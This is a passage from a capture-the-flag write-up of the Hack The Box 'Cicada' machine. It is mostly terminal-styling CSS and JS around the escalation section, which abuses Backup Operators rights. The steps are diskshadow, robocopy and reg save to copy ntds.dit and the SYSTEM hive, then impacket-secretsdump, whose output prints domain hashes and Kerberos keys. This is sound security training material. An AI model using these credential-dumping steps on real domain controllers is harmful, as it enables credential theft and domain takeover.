  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">CICADA-DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">type user.txt</span>

<span class="win-output">f15b00ee************************</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<hr />
<h2 id="escalation">Escalation:</h2>
<h3 id="backup-operators-group-abuse">Backup Operators Group Abuse:</h3>

<p>Emily is in the Backup Operators group.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">CICADA-DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">whoami /groups</span>

<span class="win-output">GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes                                        
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Backup Operators                   Alias            S-1-5-32-551 Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Certificate Service DCOM Access    Alias            S-1-5-32-574 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\High Mandatory Level       Label            S-1-16-12288</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>This is a highly privileged group. According to <a href="https://learn.microsoft.com/en-us/windows-server/identity/ad-ds/manage/understand-security-groups#backup-operators">Microsoft’s docs</a>:</p>

<blockquote>
  <p>Members of the Backup Operators group can back up and restore all files on a computer, regardless of the permissions that protect those files.</p>
</blockquote>

<p>For example, I can read into Administrator’s desktop folder:</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">CICADA-DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\Users\emily.oscars.CICADA\Desktop</span><span class="win-char">&gt;</span></span> <span class="win-cmd">dir C:\users\Administrator\desktop</span>

<span class="win-output">&amp;nbsp;
 Volume in drive C has no label.
 Volume Serial Number is 1B60-8905

 Directory of C:\users\Administrator\desktop

08/30/2024  10:06 AM    &lt;DIR&gt;          .
08/26/2024  01:10 PM    &lt;DIR&gt;          ..
10/01/2024  03:51 PM                34 root.txt
               1 File(s)             34 bytes
               2 Dir(s)               0 bytes free</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>The flag can be read by simply creating a backup of this folder.</p>

<p>But more importantly, I can backup the entire C drive and extract <code class="language-plaintext highlighter-rouge">ntds.dit</code>. This file can be considered as the heart of Active Directory. It’s a database storing information of all AD objects, including user credentials. <a href="https://book.hacktricks.xyz/windows-hardening/active-directory-methodology/privileged-groups-and-token-privileges#backup-operators">This HackTricks page</a> shows several ways of exploiting this, I’ll use <code class="language-plaintext highlighter-rouge">diskshadow.exe</code>, as it seems to be the most straightforward approach.</p>

<h3 id="creating-shadow-copy-of-c">Creating Shadow Copy of C:\</h3>

<p>I’ll first create the following <code class="language-plaintext highlighter-rouge">.dsh</code> file, as shown in <a href="https://www.hackingarticles.in/windows-privilege-escalation-sebackupprivilege/">this walkthrough</a>:</p>
<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set context persistent nowriters
add volume c: alias cdrive
create
expose %cdrive% e:
</code></pre></div></div>

<p>Running it with <code class="language-plaintext highlighter-rouge">diskshadow</code> should create a copy of the C drive in <code class="language-plaintext highlighter-rouge">E:\</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">CICADA-DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\windows\temp</span><span class="win-char">&gt;</span></span> <span class="win-cmd">upload exploit.dsh</span>

<span class="win-output">Info: Uploading /home/ch3ng/machines/cicada/exploit.dsh to C:\windows\temp\exploit.dsh
                                        
Data: 120 bytes of 120 bytes copied
                                        
Info: Upload successful!</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\windows\temp</span><span class="win-char">&gt;</span></span> <span class="win-cmd">diskshadow /s exploit.dsh</span>

<span class="win-output">Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  CICADA-DC,  10/2/2024 12:58:01 PM

-&gt; set context persistent nowriters
-&gt; add volume c: alias cdrive
-&gt; create
Alias cdrive for shadow ID {626193c4-de9f-4808-8451-8c903851062c} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {0bdb8a73-4502-4839-bb6a-1d45bc52e0da} set as environment variable.

Querying all shadow copies with the shadow copy set ID {0bdb8a73-4502-4839-bb6a-1d45bc52e0da}

	* Shadow copy ID = {626193c4-de9f-4808-8451-8c903851062c}		%cdrive%
		- Shadow copy set: {0bdb8a73-4502-4839-bb6a-1d45bc52e0da}	%VSS_SHADOW_SET%
		- Original count of shadow copies = 1
		- Original volume name: \\?\Volume{fcebaf9b-0000-0000-0000-500600000000}\ [C:\]
		- Creation time: 10/2/2024 12:58:01 PM
		- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
		- Originating machine: CICADA-DC.cicada.htb
		- Service machine: CICADA-DC.cicada.htb
		- Not exposed
		- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
		- Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-&gt; expose %cdrive% e:
-&gt; %cdrive% = {626193c4-de9f-4808-8451-8c903851062c}
The shadow copy was successfully exposed as e:\.
-&gt;</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>Now <code class="language-plaintext highlighter-rouge">ntds.dit</code> can be copied out using <code class="language-plaintext highlighter-rouge">robocopy</code>.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">CICADA-DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\windows\temp</span><span class="win-char">&gt;</span></span> <span class="win-cmd">robocopy /b e:\windows\ntds . ntds.dit</span>

<span class="win-output">-------------------------------------------------------------------------------
   ROBOCOPY     ::     Robust File Copy for Windows
-------------------------------------------------------------------------------

  Started : Wednesday, October 2, 2024 12:58:32 PM
   Source : e:\windows\ntds\
     Dest : C:\windows\temp\

    Files : ntds.dit

  Options : /DCOPY:DA /COPY:DAT /B /R:1000000 /W:30

------------------------------------------------------------------------------

	                   1	e:\windows\ntds\
	    New File  		  16.0 m	ntds.dit
  0.0%
  0.3%
  0.7%
  1.1%
  1.5%
 ...
 98.4%
 98.8%
 99.2%
 99.6%
100%
100%

------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         0         1         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :   16.00 m   16.00 m         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00


   Speed :           134,217,728 Bytes/sec.
   Speed :             7,680.000 MegaBytes/min.
   Ended : Wednesday, October 2, 2024 12:58:32 PM</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<p>However, <code class="language-plaintext highlighter-rouge">ntds.dit</code> is encrypted with the boot key. This key is stored in the system hive, which can also be extracted using Backup Operators’ privileges.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #012456;">
  <div class="terminal-header" style="background-color: #01173a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">CICADA-DC</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="win-prompt" style="color: #4ce64c; font-weight: bold;"><span class="win-path">*Evil-WinRM* PS C:\windows\temp</span><span class="win-char">&gt;</span></span> <span class="win-cmd">reg save hklm\system .\system</span>

<span class="win-output">The operation completed successfully.</span>
<style>
.win-output  { color: #f0e6d3; }
.win-cmd    { color: #f0e6d3; }
.cmd-tok-bin     { color: #f3f99d; }   /* executable  — yellow */
.cmd-tok-flag    { color: #ffffff; }   /* /flag       — white  */
.cmd-tok-num     { color: #ff6ac1; }   /* numbers/IPs — pink   */
.cmd-tok-str     { color: #5bc8f5; }   /* "strings"   — cyan   */
.cmd-tok-arg     { color: #ffffff; }   /* plain args  — white  */
</style>
<script>
    (function () {
      // CMD
      document.querySelectorAll('.win-cmd').forEach(function (el) {
        var tokens = el.textContent.match(/"[^"]*"|'[^']*'|[^\s]+|\s+/g) || [];
        var first = true;
        el.innerHTML = tokens.map(function (tok) {
          if (/^\s+$/.test(tok)) return tok;
          var cls;
          if (first)                                 { cls = 'cmd-tok-bin';  first = false; }
          else if (/^\/[\w]+/.test(tok))             { cls = 'cmd-tok-flag'; }
          else if (/^-[\w]+/.test(tok))              { cls = 'cmd-tok-flag'; }
          else if (/^["']/.test(tok))                { cls = 'cmd-tok-str';  }
          else if (/^\d+\.\d+\.\d+\.\d+/.test(tok)) { cls = 'cmd-tok-num';  }
          else if (/^[\d.]+$/.test(tok))             { cls = 'cmd-tok-num';  }
          else                                       { cls = 'cmd-tok-arg';  }
          return '<span class="' + cls + '">' + tok + '</span>';
        }).join('');
      });
    })();
    </script></pre>
  </div>
</div>

<h3 id="extracting-admin-hash">Extracting Admin Hash:</h3>

<p>With both files, I can simply let <code class="language-plaintext highlighter-rouge">impacket-secretsdump</code> do the extraction.</p>

<style>
.terminal-window {
  background-color: #300a24;
  border-radius: 8px;
  box-shadow: 0 8px 32px rgba(0, 0, 0, 0.55);
  margin: 1.5rem 0;
  overflow: hidden;
  font-family: "Ubuntu Mono", "Fira Code", Menlo, Consolas, monospace;
  font-size: 0.88rem;
  line-height: 1.55;
}

.terminal-header {
  display: flex;
  align-items: center;
  gap: 6px;
  background-color: #2d0922;
  padding: 9px 12px;
  border-bottom: 1px solid rgba(255, 255, 255, 0.06);
}

.terminal-btn {
  width: 12px;
  height: 12px;
  border-radius: 50%;
  flex-shrink: 0;
}
.terminal-btn--close    { background: #ff5f57; }
.terminal-btn--minimise { background: #febc2e; }
.terminal-btn--expand   { background: #28c840; }

.terminal-title {
  flex: 1;
  text-align: center;
  color: #aaa;
  font-size: 0.78rem;
  margin-left: -42px;
}

.terminal-body {
  padding: 10px 16px 14px;
  overflow-x: auto;
}

.terminal-body pre {
  margin: 0;
  background: transparent;
  border: none;
  color: #f0e6d3;
  font-family: inherit;
  font-size: inherit;
  line-height: inherit;
  white-space: pre-wrap;
}
</style>

<div class="terminal-window" style="background-color: #0c0c0c;">
  <div class="terminal-header" style="background-color: #1a1a1a;">
    <span class="terminal-btn terminal-btn--close"></span>
    <span class="terminal-btn terminal-btn--minimise"></span>
    <span class="terminal-btn terminal-btn--expand"></span>
    
      <span class="terminal-title">Kali</span>
    
  </div>
  <div class="terminal-body">
    <pre style="white-space: pre; overflow-x: auto;"><span class="kali-top">┌──(<span class="kali-user">ch3ng㉿localhost</span>)-[<span class="kali-path">~/machines/cicada</span>]</span>
<span class="kali-bottom">└─<span class="kali-char">$</span></span> <span class="cmd-bash">impacket-secretsdump -ntds ntds.dit -system system local</span>
<span class="cmd-output">
Impacket v0.12.0.dev1 - Copyright 2023 Fortra

[*] Target system bootKey: 0x3c2b033757a49110a9ee680b46e8d620
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: f954f575c626d6afe06c2b80cc2185e6
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b87e7c93a3e8a0ea4a581937016f341:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
CICADA-DC$:1000:aad3b435b51404eeaad3b435b51404ee:188c2f3cb7592e18d1eae37991dee696:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:3779000802a4bb402736bee52963f8ef:::
cicada.htb\john.smoulder:1104:aad3b435b51404eeaad3b435b51404ee:0d33a055d07e231ce088a91975f28dc4:::
cicada.htb\sarah.dantelia:1105:aad3b435b51404eeaad3b435b51404ee:d1c88b5c2ecc0e2679000c5c73baea20:::
cicada.htb\michael.wrightson:1106:aad3b435b51404eeaad3b435b51404ee:b222964c9f247e6b225ce9e7c4276776:::
cicada.htb\david.orelious:1108:aad3b435b51404eeaad3b435b51404ee:ef0bcbf3577b729dcfa6fbe1731d5a43:::
cicada.htb\emily.oscars:1601:aad3b435b51404eeaad3b435b51404ee:559048ab2d168a4edf8e033d43165ee5:::
[*] Kerberos keys from ntds.dit 
Administrator:aes256-cts-hmac-sha1-96:e47fd7646fa8cf1836a79166f5775405834e2c060322d229bc93f26fb67d2be5
Administrator:aes128-cts-hmac-sha1-96:f51b243b116894bea389709127df1652
Administrator:des-cbc-md5:c8838c9b10c43b23
CICADA-DC$:aes256-cts-hmac-sha1-96:e9752f2c7752bd92142588e63dc0383499f49b04a46de37845e33d40de1db7ed
..SNIP..
[*] Cleaning up...
</span><style>
.kali-top,
.kali-bottom       { color: #5bc8f5; font-weight: bold; }
.kali-user         { color: #5bc8f5; font-weight: bold; }
.kali-path         { color: #5bc8f5; font-weight: bold; }
.kali-char         { color: #5bc8f5; font-weight: bold; }
.cmd-output        { color: #f0e6d3; }

